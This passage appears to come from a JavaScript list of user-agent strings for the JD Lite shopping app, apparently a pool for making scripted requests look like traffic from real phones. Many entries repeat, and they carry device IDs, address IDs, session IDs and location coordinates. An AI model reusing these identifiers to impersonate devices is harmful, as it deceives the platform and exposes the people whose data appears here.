Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad8,9;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.20;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/d9f5ddaa0160a20f32fb2c8bfd174fae7993c1b4|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.5;Mozilla/5.0 (iPad; CPU OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;ADID/31548A9C-8A01-469A-B148-E7D841C91FD0;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.5;apprpd/;ref/JDLTSubMainPageViewController;psq/4;ads/;psn/a858fb4b40e432ea32f80729916e6c3e910bb922|12;jdv/0|direct|-|none|-|1613898710373|1613898712;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;3346332626262353-1666434336539336;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;8.1.0;8363834353530333132333132373-43D2930366035323639333662383;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;1343467336264693-3343562673463613;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;8353636393732346-6646931673935346;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;6d343c58764a908d4fa56609da4cb3a5cc1396d3;network/wifi;ADID/4965D884-3E61-4C4E-AEA7-9A8CE3742DA7;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.6.1;4606ddccdfe8f343f8137de7fea7f91fc4aef3a3;network/4g;ADID/C6FB6E20-D334-45FA-818A-7A4C58305202;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone10,1;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/4606ddccdfe8f343f8137de7fea7f91fc4aef3a3|5;jdv/0|iosapp|t_335139774|liteshare|Qqfriends|1614206359106|1614206366;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.6.1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;3b6e79334551fc6f31952d338b996789d157c4e8;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/138051400;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/14.34;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/12;ads/;psn/3b6e79334551fc6f31952d338b996789d157c4e8|46;jdv/0|kong|t_1001707023_|jingfen|e80d7173a4264f4c9a3addcac7da8b5d|1613837384708|1613858760;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;1346235693831363-2373837393932673;network/wifi;model/LYA-AL00;addressid/3321567203;aid/1d2e9816278799b7;oaid/00000000-0000-0000-0000-000000000000;osVer/29;appBuild/1436;psn/45VUZFTZJkhP5fAXbeBoQ0 O2GCB I|7;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.8;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1614066210320|1614066219;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/huawei;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.3;c2a8854e622a1b17a6c56c789f832f9d78ef1ba7;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/c2a8854e622a1b17a6c56c789f832f9d78ef1ba7|6;jdv/0|direct|-|none|-|1613541016735|1613823566;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;9;;network/wifi;model/MIX 2S;addressid/;aid/f87efed6d9ed3c65;oaid/94739128ef9dd245;osVer/28;appBuild/1436;psn/R7wD/OWkQjYWxax1pDV6kTIDFPJCUid7C/nl2hHnUuI=|3;psq/13;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 9;osv/9;pv/1.42;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2S Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/3g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPad;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.7.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/2813715704;pv/67.38;apprpd/MyJD_Main;ref/https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F2ynE8QDtc2svd36VowmYWBzzDdK6%2Findex.html%3Flng%3D103.957532%26lat%3D30.626962%26sid%3D4fe8ef4283b24723a7bb30ee87c18b2w%26un_area%3D22_1930_49324_52512;psq/4;ads/;psn/5aef178f95931bdbbde849ea9e2fc62b18bc5829|127;jdv/0|direct|-|none|-|1612588090667|1613822580;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/3104834020;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/c633e62b5a4ad0fdd93d9862bdcacfa8f3ecef63|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;8.1.0;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,4;addressid/1477231693;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/21.15;apprpd/MyJD_Main;ref/https%3A%2F%2Fgold.jd.com%2F%3Flng%3D0.000000%26lat%3D0.000000%26sid%3D4584eb84dc00141b0d58e000583a338w%26un_area%3D19_1607_3155_62114;psq/0;ads/;psn/2c822e59db319590266cc83b78c4a943783d0077|46;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 